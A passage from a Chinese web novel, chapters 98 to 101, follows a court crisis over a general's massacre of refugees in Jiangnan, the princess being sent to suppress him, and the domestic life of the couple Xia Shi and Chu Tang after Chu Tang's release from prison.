尸体的身份已经确定过了,王申见状也没打算继续留下,便跟着对方一起走回了山顶。而这时天色也已经彻底黑了下来,众人之前忙着裹伤忙着找尸体,倒是还没来得及准备火把。 两人一前一后摸黑爬上了落霞坡,吹着夏夜凉风,心头的焦躁也少了三分。王申正要说什么,却猛地被眼前情形惊得咽下了话头——夜色之下,不久前还景色优美的落霞坡,此刻竟飘着一片蓝绿色的鬼火。一阵夜风吹过,那些鬼火也跟着幽幽飘荡起来,活像是一个个在落霞坡徘徊不去的幽灵! 不知想到了什么,王申的嘴唇开始颤抖起来,有什么话梗在喉头似不吐不快,可又怕贸然开口惊动了坡下亡魂。 直到身边的年轻人忽然抬手指向坡下,打破了这一片沉寂:“大人看到这副场景,还没猜到落霞坡是什么地方吗?” 王申猜到了。就算他出京之前没听过那些沸沸扬扬的消息,看到这一大片的鬼火他还有什么猜不到的——鬼火这东西向来只有死人多的地方才会出现,比如古战场,又比如乱葬岗。眼下鬼火却出现在了这城郊的风景优美之处,那么此处的地下,又究竟埋藏了多少冤魂?! 98☆、第98章 ◎楚棠却笑不出来,拉着夏时走得更快了◎ 楚棠这牢一坐就是一个多月。直到七月都过去了大半,所有人都以为她会被遗忘到底的时候,江南送来的一封急奏再次打破了平静,也让朝堂众人再次想起了她。 这一日正是大朝会的时间,朝中众人照常奏对之时,一封八百里加急的奏报直入正殿。 朝廷对加急奏报是有所规定的,除了战报之外的所有情况,最快的也只能用六百里加急。因此八百里加急的奏报一送入朝堂,所有人的心神都是一凛——哪里又打仗了?是北边的胡人又南下寇边了?还是南边的夷人又闹事了?总不会是除了江南,哪里又闹着造反了吧? 一时间,众人揣测纷纷,就连向来严肃的朝堂上,也多了些窃窃低语。 老皇帝却顾不上众臣的失态,他自己听到八百里加急的消息也有点懵,心里忍不住咯噔了一下。因此等那封奏报送到手中,他便迫不及待拆开来看了起来。 这一看,老皇帝心里的紧张没有了,取而代之的是滔天的怒火。待一目十行看完这封奏报,他便“砰”的一声狠狠拍在了御座的扶手上。 梁忠距离老皇帝最近,稍稍一抬眼,便瞧见老皇帝的手正微微颤抖着,显然是拍疼了。 不过殿下众臣不知,他们只从这一声巨响中听出了皇帝的滔天怒火。这让众人想要请皇帝息怒都不知从何说起,最后还是丞相上前一步,小心问道:“陛下息怒,不知这是哪里又生了战事?” 老皇帝又看了一眼将他气得够呛的奏疏,干脆一抬手扔给了梁忠,示意他拿给丞相看。自己不等丞相拿到奏疏,便已经开了口:“梧州将军胆大妄为,擅杀无辜,还敢对朝廷钦差动手。如此无法无天之徒,全不将朝堂放在眼里,当真该杀!” 这话说得有些不清不楚,至少没有看到奏报的朝臣根本没明白皇帝的意思——梧州将军不是被调去平乱了吗,那么即使杀些乱民,也不至于说是擅杀无辜吧?还有对钦差动手又是怎么回事?王侍郎遇害了吗?那这急报又是谁送回来的? 众人一脑门子问号,也只有丞相和他身边的几位尚书,凑在一起一目十行的看完了手中奏报。看完也是倒吸一口凉气,明白了老皇帝为何大发雷霆。 原来当年江南当真发生了屠戮灾民的惨事。原来当初江南惨死之人不止万数。原来梧州将军为了掩盖真相不惜刺杀钦差,还被王侍郎抓了个正着…… 是的,王申到了江南根本不需要人给他证据,落霞坡下的累累白骨就是铁证。 而丞相尚书们看到这种种控诉,即是心惊也是担忧——他们即是心惊王申目前的危险处境,又是担心梧州将军的丧心病狂。以他敢对钦差动手的胆子,说不定发现自己逃不开朝廷制裁后,当真会骑兵谋反呢?即便不会,就凭他敢对钦差动手这一点,也是枉顾了朝廷威严! 当然,这事落在老皇帝眼里还有另一番思量——区区一个梧州将军,为何胆大包天敢如此行事?是觉得他年纪大了精力不济,绝不会发现这事吗?还是觉得君王年迈,已经提不动刀了? 老皇帝觉得自己被冒犯了,这才是他如此大发雷霆的真正原因。 不过这些话他是不会说出来的,当下忍着满腔怒火看了丞相等人一眼,又问:“梧州将军恐有反意,诸卿以为该如何处置?” 其实梧州将军还没有旗帜鲜明的造反,但老皇帝已经金口玉言给他定了罪。 丞相等人当然不会在这时候反驳,不过众人一想此时江南那乱七八糟的局面,也不免觉得头疼。就连向来没脑子只会冲的武将们,此刻也没人站出来说要带兵平叛。 这明显是个吃力不讨好的差事,最近惨遭皇帝打压的三皇子和四皇子都不想再让自己的势力受损。两人对视一眼,默契的决定将此事推给长公主——反正江南之事最先闹出来,不就是长公主授意的吗?既然是她找的事,现在让她平了不也是正该? 几个眼神交换,并不在朝中的长公主忽然就被人提了出来。 老皇帝都没料到事情会这般发展,毕竟就算他知道长公主在朝中颇有些经营,但一个公主依旧没有资格入朝参政。至于领兵平叛什么的,他又不是没儿子,怎么会让女儿去? 想到这里,老皇帝的目光立刻就锁定了三皇子和四皇子,大有要两人去平叛的意思。 三皇子一见父皇目光扫来,立刻一个激灵,上前说道:“父皇,如今江南局势混乱,需得当机立断处置方妥。儿臣从未领过兵,恐误了父皇大事。” 四皇子不等老皇帝目光移到自己身上,也跟着上前一步,说道:“父皇,江南之事最初乃是长姐首倡,想必她对江南局势了如指掌。如今江南之事刻不容缓,不如便让长姐去吧,她定能平息乱局。” 老皇帝哪里看不出两人的小心思,但心头更多的还是不屑——成天就想着争权夺利,真遇到事了却不敢承担,反而要将责任都推到姐妹头上。就这两个怂货,也敢肖想帝王之位?罢了,还是他再多等几年,等小七小八长大了,再来考虑立储之事吧。 不知不觉,老皇帝心思有些飘远了,但朝中众人显然没忘了正事。而随着两位皇子开口,两人麾下势力便纷纷出面应和,一眼扫去,竟是大半个朝堂都动了。 老皇帝瞬间惊了,让公主领兵平乱这种事并非常态,此刻却站出来这么多人,难道经过他的打压,这俩逆子的势力竟还是这般庞大吗?那这可就不能等了啊! 然而老皇帝不知道的是,三皇子和四皇子看到这副场面也懵了,因为他们也很清楚,自己的势力并没有这般可怕……两人不由对视一眼,看向对方的目光中都藏着深深的忌惮。 ***************************************************** 让公主领兵平叛这事看着很是荒唐,但朝中不知如何争论的,最后老皇帝竟是允了。 当天圣旨就传到了长公主手中。长公主恭恭敬敬接了旨,送走了传旨的内侍,转头就将那圣旨扔在了案上,嘴角勾出一抹冷笑来。 萧晏书从堂后绕了出来,扫了一眼圣旨,不解道:“殿下何故不喜?” 长公主抱着手臂,一扬下巴:“你自己看吧。” 萧晏书便拿起圣旨一目十行看了起来,看完之后也不知道该说什么才好了——老皇帝大概是真不喜欢这女儿,明明是要紧的正事,也偏要为难一二。江南那边现在什么模样,两人其实比谁都清楚,可要镇压梧州的五千军,老皇帝竟只愿意给长公主一千羽林。 就不说这以一敌五的人数对比了,羽林作为禁军历来只忠于帝王,这一千兵马就算跟着长公主成功平叛回来了,也几乎不可能为她所用。 好在这些年被针对也算是习惯了,萧晏书放下圣旨,转而握住了长公主的手:“好了,别生气,这也没什么。不管怎么说,你这也是领了件正经差事,算是正式走到了台前。”说着手中略用力捏了捏:“再则今日朝堂之上,三皇子和四皇子的表现也让人看在了眼里,两人皆非明君之相,不是吗?” 长公主也没有特别生气,或者说她也早习惯了,撇撇嘴不置可否。 萧晏书此时却又道:“既然江南之事已有定论,楚棠是不是也该从大理寺的牢房里出来了?她本也无罪,而且我想让夏时跟你一起南下,有她护着你我也安心。” 长公主想到夏时那一刻都离不开老婆的模样,不免有些头疼。不过想到这人的本事,做不了将军做个护卫却是极好的,于是便点点头:“你说得不错,就是不知她舍不舍得跟我走了。” 萧晏书闻言不知想到了什么,一下子笑出了声。 …… 当天傍晚,楚棠就被从大理寺牢房里放了出来。 只是没有升堂,也没有审讯,更不要提翻案了,她算是被特赦出狱的。 事情发生得毫无预兆,不仅夏时没料到,就连楚棠自己都不知道为什么就被放出来了——按照她的预料,至少要等江南之事闹大后她再设法为父翻案,然后才能走出这牢房。 可一切都提前了,楚棠不知这样的发展是好是坏,倒是还没来得及走就接到老婆的夏时惊喜万分。 见楚棠皱着眉一脸沉思的模样,夏时赶紧伸手扯了扯她衣袖:“好了,别想那么多了,能出去总是好的。这牢房里再好,也不是久待的地方,你看你在这儿待了一个多月,身上都快馊了。” 满腹心事的楚棠被这句“馊了”说得脸色一僵,一时间都顾不得去想如今局势了,忙不迭抬起胳膊闻了闻,她自己倒没什么感觉,难道真的臭了? 夏时见状抿着嘴偷笑,手上动作却是不停,按着楚棠的肩膀就将人从牢房里推了出去。 牢头和她们也算熟了,偶尔还能收到夏时的贿赂,见两人出来还冲二人笑道:“恭喜恭喜,否极泰来。小夏你回去记得烧锅柚子叶水,好好给你媳妇洗一洗,去去晦气。” 夏时高兴的应了声好,楚棠却笑不出来,拉着夏时走得更快了——难道她身上真那么臭,连牢头都要提醒她回去沐浴?! 99☆、第99章 ◎就算她真的很想赚钱养家◎ 夏时每日都要去大牢探望楚棠,如今自然是住在京城的。 不过她并没有住在长公主府,一来是公主府人多眼杂,她有些不习惯,二来她也想着能和楚棠在京城安个小家,于是便拿着积蓄在城中赁了一处小院,距离大理寺并不算远。 这事夏时自然早就和楚棠说过了,后者也没什么意见,生来富贵的楚小姐如今也习惯了有事亲力亲为。只是今日方体会出了一点不好——如果有仆从伺候,她俩回家时就能直接用上热水沐浴了。可现在还得亲自去买柚子叶,再亲自烧一大桶洗澡水。 夏时一手提着刚买的柚子叶,一边忍笑看着楚棠那一张冷脸,快走几步过去勾了勾她的手指:“阿棠,别生我气啊,我刚才就是胡说的,你这么爱干净,身上才没馊呢。” 楚棠现在就听不得那个“馊”字,一抬手就把手指从夏时手中抽了回来:“别说了,先回去沐浴。” 两人一路拉拉扯扯,好歹在夏时的指路下回到了新家——京城大,居不易。夏时手里虽然有楚棠好友相赠的那箱金子,后来又得了长公主不少赏赐,但要在京城买房也是吃紧的。更何况楚棠还在牢里,所以她便只就近赁了一处院子,拢共也只有三间房,一间堂屋一间厢房外加一间柴房,连个正经的灶房都没有。 这些天夏时也没正经开过火,大多数时候都是在外面买东西回来吃,洗漱之类趁着天热她干脆就用凉水凑合。不过她自己能凑合,楚棠显然不行。 夏时一边开门,一边扭头冲楚棠说道:“这院子就是临时住的,反正你不在家,我也就晚上回来凑合住一夜,就没太收拾。等回头咱们再换个院子,挑你喜欢的。” 听她这样说,楚棠甚至已经做好了看到一个乱糟糟院子的心理准备,可等夏时真将院门打开了,她看到的却是个空荡荡的院子。比她第一次去夏时家时,看到的那个猎户小院还要空。 夏时挠了挠头,拎着柚子叶就往柴房去:“这里的东西都是房主的,听她说留了个炉子在柴房里。我这些天都没用,现在找出来烧点水……”话还没说完,她已经打开了柴房,这才看到柴房里也是一片空荡荡,半根柴火也没留,倒是真有个积灰的炉子放在了角落里。 啊这,好吧,京城的柴火也是要买的,不像是云雾山出门就可以捡。 夏时心道一声失算,不过还是将炉子拎了出来,然后又拎着柚子叶急匆匆出门去了:“阿棠你先等等,家里没柴火了,我先去邻居家借点。” 说是借,其实夏时搬过来后就没和左邻右舍打过交道,最后自然是花钱买了两捆柴回来。临时烧两锅水是够了,等下回有卖柴的路过叫卖,再将柴房填充不迟。 楚棠趁着夏时出门的当口,也将这小院里里外外看了一遍。当真是个不大的院子,但因为夏时什么都没往家里添置,所以屋子显得空旷,也不见拥挤……行吧,就她们两人,住这院子也紧够了,剩余欠缺的东西之后再买也不迟。 她刚想完夏时就回来了,和以往她狩猎回来一样,拎起手中的柴火就向楚棠献宝:“阿棠你看,我借到柴火了,现在可以烧水了。” 夏时笑得有点傻气,但熟悉感扑面而来,也让楚棠忍不住松开眉眼回了个笑容。 小两口冰释前嫌,又凑在一起烧起水来。不过说起来在京城住,某些方面还真没有云雾山方便。比如出门就可以捡柴火,再比如有山泉水可以直接引入家中。 两人又是烧火又是挑水,好一阵忙活下来,新鲜的柚子叶这才被夏时放入了锅中。 待到水温渐渐升高,柚子叶被水煮得越发翠绿,然后又随着水温沸腾渐渐失去了颜色……大火烧了约莫一刻来钟,锅中的沸水便渐渐变成了青黄色,同时散发着淡淡的植物香味。 夏时这才将煮黄的柚子叶捞了起来,她又看了看那锅水,犹豫道:“这,是不是煮太久了?” 楚棠才不在意这个,自从被夏时提醒沐浴之事后,她便已觉得浑身不自在。此刻见水烧好了,她便干脆的说道:“差不多就行了,倒些凉水进去,也不会影响什么。” 柚子叶水去晦气什么的,从来也只是个说法罢了,不信就没有关系。 夏时本来也是百无禁忌的性子,听楚棠这样说,便也随她了:“那便去柴房洗吧,反正里面也没柴火,不怕被打湿。等回头我再买个浴桶回来,方便你沐浴。” 楚棠应了声好,两人又开始往柴房端水。 ******************************************************** 萧晏书登门时,夏时正在柴房里帮楚棠擦背——名为擦背,实为动手动脚。天知道她一个多月没和老婆亲近了,现在看到人在自己面前坦诚相待,某些小心思简直按都按不住。 可惜,还没等她小小的动手动脚变得大胆起来,外面的院门就被人敲响了。 夏时正凑近楚棠后颈还没来得及亲上去,听到动静根本不想理会。毕竟她在京城也没几个熟人,左邻右舍更不会贸然登门,说不定外面的人是找错了地方。 楚棠却被这动静惊了一下,匆忙拿帕子遮挡的同时,也伸手推了夏时一把:“有人敲门,你去看看。” 夏时没动,哼哼唧唧的回:“咱们新搬来的,也没几个人认识,谁会来敲咱们家大门啊?之前我住了半个月都没人登门,今天肯定是有人走错了。” 楚棠垂眸看了眼夏时趁机搂上自己腰肢的手,对身后人的无赖心思猜了个七七八八,只觉得好气又好笑:“你莫不是忘了,今日我忽然就出狱了,还没弄清楚究竟怎么回事呢。说不定是长公主那边出了力,这会儿登门来了。” 夏时按在楚棠腰侧的手一顿,觉得这话甚是有理。 楚棠察觉到了,赶忙再推她一把:“还不快去,这样让人等着像什么事?” 夏时只好听话的出门去了,走出柴房之后还小心的将门重新关严实了,这才去开了院门。果不其然外面站着的人正是公主府的,只是并非两人猜测的公主府派人传唤,而是萧晏书亲自来了。 这倒有些稀罕,夏时脱口问道:“萧先生怎么亲自登门了?” 萧晏书也不与她客气,往她身后小院里看了一眼:“不请我进门吗?” 夏时顿了顿,还是让开了院门,同时竖起耳朵又听了听柴房动静。没听见水声,也不知楚棠是洗完准备出来了,还是怕有客不好*意思。 萧晏书进门之后扫视一眼,便将小院的情况看了个七七八八。说实话她没怎么来过这样逼仄的小院,也不知夏时租住的居然是这样一处地方,不过眼下这都不是重点:“楚姑娘呢,怎么没见她和你一起?” 话音刚落,就听柴房木门“吱呀”一声打开了,身上犹带水汽的楚棠从中走了出来。 如此待客虽然有些失礼,但大家都是女子,倒也不必计较太多。萧晏书只看了一眼便收回了目光,顶着身旁之人虎视眈眈的目光含笑道:“楚姑娘,恭喜摆脱牢狱之灾。” 楚棠和夏时一听就知道,这突然的出狱果然是长公主的手笔。 夏时心里还有一点别扭,早知道长公主一句话就能把人捞出来,她的阿棠何必吃这些苦? 楚棠却是看得清楚,知道必定是发生了什么,长公主才找到契机将自己救出。她也不兜弯子,干脆开口问道:“近来又发生了什么,殿下才在此时将我救出?” 说实话,摆脱牢狱之灾固然可喜,但楚棠也没那么欢喜——她主动暴露身份走进大理寺牢房,目的其实是为父翻案,可现下她爹的案子依旧没个说法。她被放出来也只是特赦,目的根本没有达到。 萧晏书自然清楚她心中所想,却不得不叹道:“陛下不愿翻旧案,继续下去也只是和他干耗,平白吃苦罢了。楚姑娘有用之身,陷于牢狱还不如出来做点正事。” 楚棠听罢眉头微挑,重复道:“正事?” 萧晏书这才将这些日子发生的事娓娓道来,末了才说道:“江南那边闹得越来越凶了,但京城这边舆论却已经渐渐平息。没有人比你更适合站出来,继续提醒所有人别忘了这两桩冤案。” 夏时听她说得大义凛然,却只抓住了一个重点:“长公主要南下平乱了?只有一千兵马,还要带上我做护卫?!” 萧晏书眨眨眼,理直气壮和夏时对视:“殿下安危关系甚大,你既有本事护殿下周全,难道不该跟去护卫吗?”说着有意无意扫视小院一眼:“更何况你上回救了殿下,殿下也不曾亏待与你吧。” 长公主是真挺大方的,回京之后给了夏时不少赏赐,不过除了金银别的她也不识货,而且想着将来养家的问题她也不敢乱花钱。这小院看着条件确实差了些,如果她能跟着长公主再赚一笔……打住,就算她真的很想赚钱养家,可老婆刚出狱她就要跟着长公主离京,这也太不近人情了吧? 夏时心里有些舍不得,又伸手勾住了楚棠的手指:“这,明天就走吗?我……”能不能带上阿棠一起? 萧晏书没等她说完就打断了,笑道:“自然不是。虽然只带一千兵马,但调度准备总要时间,还要等上两三日才能成行。” 100☆、第100章 ◎你是不打算再回去了吗◎ 等送走了萧晏书,小院里便骤然安静了下来,连带着之前接人回家的喜悦都散了几分。 夏时有些恹恹的,看着楚棠似乎想说些什么,最后又都咽了回去——她是很舍不得楚棠,甚至冲动的想要将对方带上一起。可等萧晏书走了,冷静下来之后她自己就察觉到了其中不妥。且不说江南平乱的危险,就是这一路南下行军,楚棠若是跟着也不知要吃多少苦头。 她是舍不得和楚棠分开,可更舍不得让楚棠吃苦,一时间自己就把自己给为难住了。还是楚棠看出她情绪不对,伸手抬起她垂下的脑袋:“怎么了,很不开心?” 夏时就不是个能藏住心事的人,见楚棠问了,她一下子就憋不住了。伸手环住楚棠的细腰,再把下巴往对方肩膀上一搁,可怜兮兮道:“你好不容易回家,我又要出院门……我舍不得你,想带你一起去,可又怕你在路上吃苦。” 她这样说自然也是有些小心机在的,如果楚棠不介意吃苦,主动提出要跟她一起南下,她说不定就可以放下心中担忧,真将人带走了呢? 可惜,楚棠的回答并没能如她的愿。只见她抬手揉了揉夏时耳朵,语气平静却肯定的道:“我也舍不得你。但你此行跟长公主南下,应是要不了多少时日的,我在京城等你回来。”说着顿了顿,还是补了句:“我在京中另有要事,乖,保护好长公主。” 夏时那小小的心愿被打破了,她不免有些泄气。但对于楚棠的说辞,她向来是不会怀疑的,如此便也只能在心里惦记着能快去快回才好。 眼看着天色渐渐晚了,夏时也放开了楚棠,转而说起了其他:“家中没什么吃食,阿棠你想吃什么,我出去给你买。” 楚棠见她想通了,眉眼也不由松缓几分,笑道:“别折腾了,咱们一起出去吃吧。” 夏时当然没什么意见,她也是个心大的人,转头就收拾好心情,高高兴兴牵着楚棠出门去了。 两人这一出门也是凑巧,斜对角的院门正好打开,从里面走出个年轻妇人来。夏时之前来去匆匆都没见过对方,但看模样也能猜到,对方应是对面的邻居。 双方碰面也没说什么,只略略颔首,便算是打了招呼。连带着楚棠和夏时过于亲密的举止也没让对方多在意半分,双方就这样擦肩而过,各自离开。 夏时都还没决定要不要继续在这里住下去,自然也不在意邻居是谁,一边牵着楚棠往巷子外走,一边扭头和她说道:“这附近住的都是普通百姓,也没什么酒楼之类的,不过附近的小食铺子倒是很多,有几家滋味儿还算不错,我带你过去尝尝可好?” 楚棠自然应好,小两口便嗅着各家食铺的烟火气,开始了觅食。 ************************************************************* 萧晏书说还要等两三日出发,这时间说长不长说短不短,但也足够夏时暂时料理家中了。 之前楚棠还在大牢里关着的时候,夏时对于自己是生活是不怎么上心的。她只就近租了个院子,既没有往院子里添置家具,也没开火做过饭,一副不打算在此久住的模样。 可楚棠出来之后就不一样了,家里多了个人,也才能称之为家。 夏时也因此开始考虑长远,准备好好生活了——她心知肚明,此番来到京城之后,两人大概很难再回到云雾山去过从前的日子了。一来这里是楚棠的故乡,这里有她的回忆,有她的好友,还有明显赏识她的长公主。二来夏时本身也算是个无根浮萍,她是愿意跟着楚棠在对方的家乡生活的。 最后的最后,京城的富贵也远不是小小的丰乐县能够比拟的。出身富贵的楚棠,明明能凭着自己的本事锦衣玉食,又何苦再回头去清贫度日呢? 用了一夜的时间,夏时想明白了一切,于是第二天一早她便又折腾了起来。 楚棠被她闹腾的睁开眼一看,从窗户外透进屋中的光线还是朦朦胧胧的,显然天色还早。她疲惫的眼皮都睁不开,当下又闭上了眼睛,顺手将夏时推开:“好早,别闹。” 夏时却已经睡不着了,又往楚棠身边凑了凑:“阿棠你说,咱们买个宅子好不好?” 楚棠听到了这话,但事情只在她脑子里转过一圈,并没有引起她的重视。或者在她的潜意识里,买个宅子本来也不是什么大事,于是含含糊糊应了一声:“好好好,你说了算。” 夏时闻言眼睛一亮,再要说些什么,便听枕边人已经传来均匀的呼吸,显然又睡得沉了。 所幸夏时虽然起了念头想安家,却也不是非要着急这一时半刻。此刻她借着朦胧天光瞧着楚棠沉睡的面容,也不打算将人再吵起来,只凑过去在对方脸颊上轻轻吻了一下。 很好,没将人吵醒,夏时便像只捡到骨头的大狗一样,偷乐了一会儿。 只是守着人睡觉,大概是容易被传染的,原本精神抖擞的夏时守了楚棠一会儿,自己也觉得眼皮沉重起来。她倒也不为难自己,往老婆身边贴了贴,便也跟着闭上了眼睛。 再睁眼已是日上三竿,夏时一动,楚棠也跟着惊醒了。 这回看着洒入屋内的日光,楚棠也没再赖床,揉着眼睛跟夏时一起起了床。两人折腾着洗漱完,已是巳时中,早已是饥肠辘辘。 两人照例还是出门去觅食,不过因为时间太晚的缘故,大多数卖早食的铺子都已经关门了。 夏时带着楚棠找了许久,才找到一家汤面馆,赶忙进去要了两碗面。 等店主人煮面的功夫,楚棠才依稀想起今早迷迷糊糊间,似乎听到夏时和她说了些什么。不过当时困意正浓,具体说了些什么她倒是忘了,于是问夏时道:“今早我没睡醒的时候,你是不是和我说了什么正事?我好像还答应你了?” 夏时一听这话就笑了,她一面抽出双筷子递给楚棠,一面笑道:“早上我是问过你,要不要在京城买个宅子,你是应了好。” 楚棠一愣,仔细回忆一番,好像真的想起来了。不过她当时困得头脑不清,应承得既敷衍又随意,根本没考虑过更多。而现在就不一样了,认真思考起来,她反倒生出了几分踌躇:“这……在京城买宅子落户,你是不打算再回去了吗?” 夏时早已经考虑清楚了,因此毫不犹豫道:“我在云雾山其实也是一个人,如今跟着你来了京城,自然是妻唱妇随。这里有你许多旧识,你应该也不想和我回去吧?” 楚棠抿唇不语,显然是被夏时说中了,因此听到对方愿意为自己考虑,她也是欣喜的。 店家恰好在这事煮好了面,送了过来,两人的话头也就暂时止住了。等店主人转身走开后,楚棠这才说道:“如果你能习惯在京城生活,我自然是更想要留下的。” 夏时便笑得眼一弯:“来京城几个月了,我觉得也还好。” 这便是要留下了,而且买宅子的事本身也是夏时主动提的,楚棠便在她脸上看不到半分勉强。于是她也笑了起来:“那就留下吧。” 夏时点头,一边伴着碗里的面,一边说道:“那等咱们吃完了面,就去寻个中人问问。” 楚棠闻言想要说些什么,但最后还是没开口,两人便自顾低头吃起面来。 …… 用过迟来的早饭,夏时便依言带着楚棠去寻众人问买宅子的事了。 这事倒也不复杂,吃完面顺口向店家一问,对方就告诉了她们附近几个中人的居所。夏时又向对方打听了一下,最后选了个口碑最好的,便带着楚棠直接登门了。 那中人竟是个女郎,年纪看上去比楚棠二人大上几岁,却没梳妇人的发髻。她一眼扫过两人,眸中就闪过一丝了然,笑着招呼道:“二位贵客,不知寻我是为了买宅还是赁屋?” 夏时闻言主动回道:“我们想买一处宅子,只我二人住,不过屋子要新些,屋舍要齐全些。” 中人闻言一点不觉意外,她一眼就看出眼前这两个女郎是一对了。这在京城一点不稀奇,但两个女郎要有决心在一起,就少不了安身立命的本事。因此大多时候,寻常妻妻倒是比寻常夫妻更加富裕,她们也更舍得花钱让自己生活得更好些。 而且看两人气质,也不像是寻常人。中人当即便在心里盘算了一遍,末了说道:“我这儿倒也有几处宅子,都是近两年才翻修过的。最近的就在隔壁巷子,最远的在南门附近,不知两位想从哪里看起?” 夏时自然毫不犹豫回道:“先从隔壁巷子看起吧,南门太远,就不去了。” 京城很大,从南门走到这里至少得两个时辰,坐马车也快不了多少。夏时还没考虑好两人将来如何发展,但她心里也有数,两人以后大半是要跟着长公主混了,总不至于还要她出城打猎养家。 既如此,靠近城门的宅子就不必考虑了,免得将来楚棠来回公主府麻烦。 中人一听也明白过来,迅速将心里那几个偏远的宅子划掉,然后笑盈盈冲两人说道:“那好,咱们现在就过去看看吗?除了隔壁巷子那处,东街也还有两处宅子要卖,两位若是看不上这处,咱们也可以过去看看。” 100-110 101☆、第101章 ◎思念仿佛从这一刻就开始蔓延◎ 一个下午的时间,夏时和楚棠跟着中人看了三处宅子。每一处都比她们暂时租住的院子要好,可看得多了,却又发现每一处都有各自不如意的地方。 夏时不是个挑剔的人,但楚棠显然是。虽然她什么都没说,但夏时看她偶尔蹙眉的样子也知道她是不满意的。既然如此,花钱的是她们,自然也没有随便将就的道理。最后三人耗费了大半日,也没有立刻得出个结果来。 陪着跑了一天的中人倒是不以为然,毕竟在京城买宅子价格不低,也不是什么小事,需要多些时间思量对比是正常的。陪着人跑一天根本不算事,最麻烦的一家她甚至陪着跑了小半年,才终于做成了这笔生意。当然,收获的报酬也是对得起她这番辛苦的。 因为早有心理准备,中人离开时态度还挺好,冲二人笑道:“两位回去可以再好好想想,要是看中了哪一套,随时都能来找我。要是没看中的也没关系,回头我再寻些好宅子,请二位去看。” 夏时有些不好意思,冲对方笑笑:“那就有劳姑娘了,这宅子我是必定要买的。” 果然,中人听她如此肯定的说要买,笑得就更加真诚了——要买的人才会挑。只要对方有心要买,不管对方有多挑剔,最后她总有办法做成这笔生意,赚上这笔钱的! 看着中人摇着扇子走了,夏时这才回头看向楚棠:“阿棠,今天看过的院子,你都不满意吗?” 两人装扮普通,看着也不是很有钱的样子,再加上租住之地圈子的限定,找的中人自然不会带她们去看什么两三进的豪宅。她们看的三处院子,都是小小的一个院落,里面三五间房,和她们租住的院子差距不是很大。住倒也够住了,但总觉得差点什么。 楚棠过过好日子,也过过苦日子,真要挑剔她能说出一堆毛病来,但要将就她也都能将就得下去。只是她今日就没打算这么快做决定:“这话该我问你,你怎么这么着急?” 夏时便挠了挠头,讪笑着说道:“这不再过两天我就要跟长公主离京了吗,现在住的那地方着实不方便,我就想着最好在离开前将你安置好。再说我们现在也不差钱,总不能让你的日子过得和我一样将就。”说完又低声咕哝了一句:“在大牢里待了那么久,人都瘦了好多,抱着都咯手。” 最后一句她分明压低了声音,却还是落入了楚棠耳中。后者听得耳根一红,又有些羞恼:“胡说什么,我只是苦夏罢了。你不在家,我也能照顾好自己。” 还有句话楚棠没说,她可不会像夏时那样委屈自己,要是她真一个人在家住得不便,她是不介意去长公主府上蹭个客房住的。想必公主殿下和萧晏书也不会介意。 夏时倒也没反驳楚棠的话,路过街边小铺时,顺手买了一斤肉脯,自己咬了一块又递了一块到楚棠嘴边。后者明显不习惯在大街上吃东西,但肉脯已经碰到她嘴唇了,为了不浪费她也只能张开嘴咬了一口慢慢咀嚼起来,滋味儿倒也不差。 两人边吃边走,安静了片刻,夏时忽然问道:“阿棠,你以前的家在哪儿?” 楚棠闻言一愣,紧接着眸中闪过些恍惚来——她是在京城出生的,但楚家并不是什么大家族,她的祖父也只是一个地方上的七品小官。不过她爹很厉害,从科举入仕,一路可谓是青云直上。楚棠出生时她爹就已经在京城混到了五品,虽不显赫,但也足够在京城安一个小家了。 然后在楚棠的成长过程中,她爹一路平步青云,她家的宅子也越来越好。直到她爹官居二品,做到了户部尚书,她家中已是雕梁画栋,亭台楼阁样样不缺。 可惜,再好的宅邸,在抄家流放的那一刻就不再属于她们了。 楚棠回京也有些时日了,但她一次都没回去从前的家看过。因为她知道,在京城这寸土寸金的地方,被朝廷收去的宅子根本不可能等这一两年。那宅子应是早就被卖出去了,如今成了别人的家,也不知内里的模样被改造成了何种陌生的模样。 想到此,楚棠不免也有些伤感。她不打算带夏时去看,至少现在不打算。 所以她摇了摇头,脚下步子继续向前:“那里太远了,等今后有机会再看吧。今日咱们走了这么久,我有些累了,先回家休息休息吧。” 夏时看出她眉间笼罩的愁绪,猜到自己可能说错话了,但楚棠什么都不说,她也不知该从何安慰起。闻言上前两步,伸手扣住了楚棠的手,走了几步又绕上前挡在了楚棠跟前,然后蹲下身回头对她说:“不是走累了吗,来,我背你回家。” 楚棠说累不过托词,毕竟她跟着夏时经历过不少事,早不是从前那娇娇弱弱的大小姐了。可夏时将她的话当了真,还一脸诚恳的要背她回家,楚棠到底还是没忍住红了脸。 她左右看了看,大街上人来人往,被人背回家着实羞涩。 可另一方面,对上夏时那清亮诚恳的眸子,她又忍不住有些心动。最后在夏时的一再催促下,她还是忍着羞意趴在了对方背上,后者轻松的起身将她往上托了托。 夏时的背还是不够宽阔,可也一如既往的可靠,楚棠环住她的脖颈,将脸贴在了对方颈侧——她忽然就想通了,过去的宅邸是她和父亲的家,父亲都已经不在了,那宅子又已经被旁人改过,就算平反之后再还回来,也不是过去的那个家了。 现在她的家是她和夏时两个人的,既然如此,重新开始也没什么不好的。 *********************************************************** 日升月落,三天时间很快过去。 楚棠虽然改变主意,打算和夏时重新经营一个小家,但无论是选宅子还是布置新家都需要不少的时间。短短三天一切都显得太匆忙,两人自然没能将这事定下来。 不过买宅子的事定不下来,长公主那边出发的事却是定下来了,提前一天就使人过来打了招呼。 没奈何,夏时只好先跟着长公主走,临出门前依依不舍:“我跟着长公主南下这一趟也不知要去多久,或许回来时都已经入秋了。你在家要照顾好自己,可别累着饿着。还有公主府那边的事,你帮忙归帮忙,可别连累了自己……算了,你还是搬去公主府住吧,寻常别出门就好。” 夏时叮嘱了一番,怎么想怎么不放心——从前她出门都是打猎,最多两三天便回,楚棠待在云雾山上也只需要防备些野兽。可京城就不一样了,这地方看起来繁华热闹,但人心是真狠,动不动就派刺客杀人。这回她不能待在楚棠身边了,万一她又遇到刺客怎么办? 思来想去,公主府大概还算安全,至少府中有不少侍卫巡逻守护。就是萧晏书那人她还是不太喜欢,想到楚棠之后要跟对方时常待在一起,夏时还没出门,心里的醋坛子就已经打翻了。 楚棠也听出了夏时的关心,可她心里有些计较,之后的日子她不可能不出门。 犹豫一番,楚棠还是决定敷衍过去,她摸摸夏时的脸颊:“我知道,我会照顾好自己的。再说这里可是京城,要什么没有?倒是你,跟着长公主一路南下恐怕要吃不少苦,江南那边什么局势也不太清楚。你可得照顾好自己,也要保护好长公主,知道吗?” 夏时老实的点点头:“我知道,我会护好长公主,不让她出意外的。” 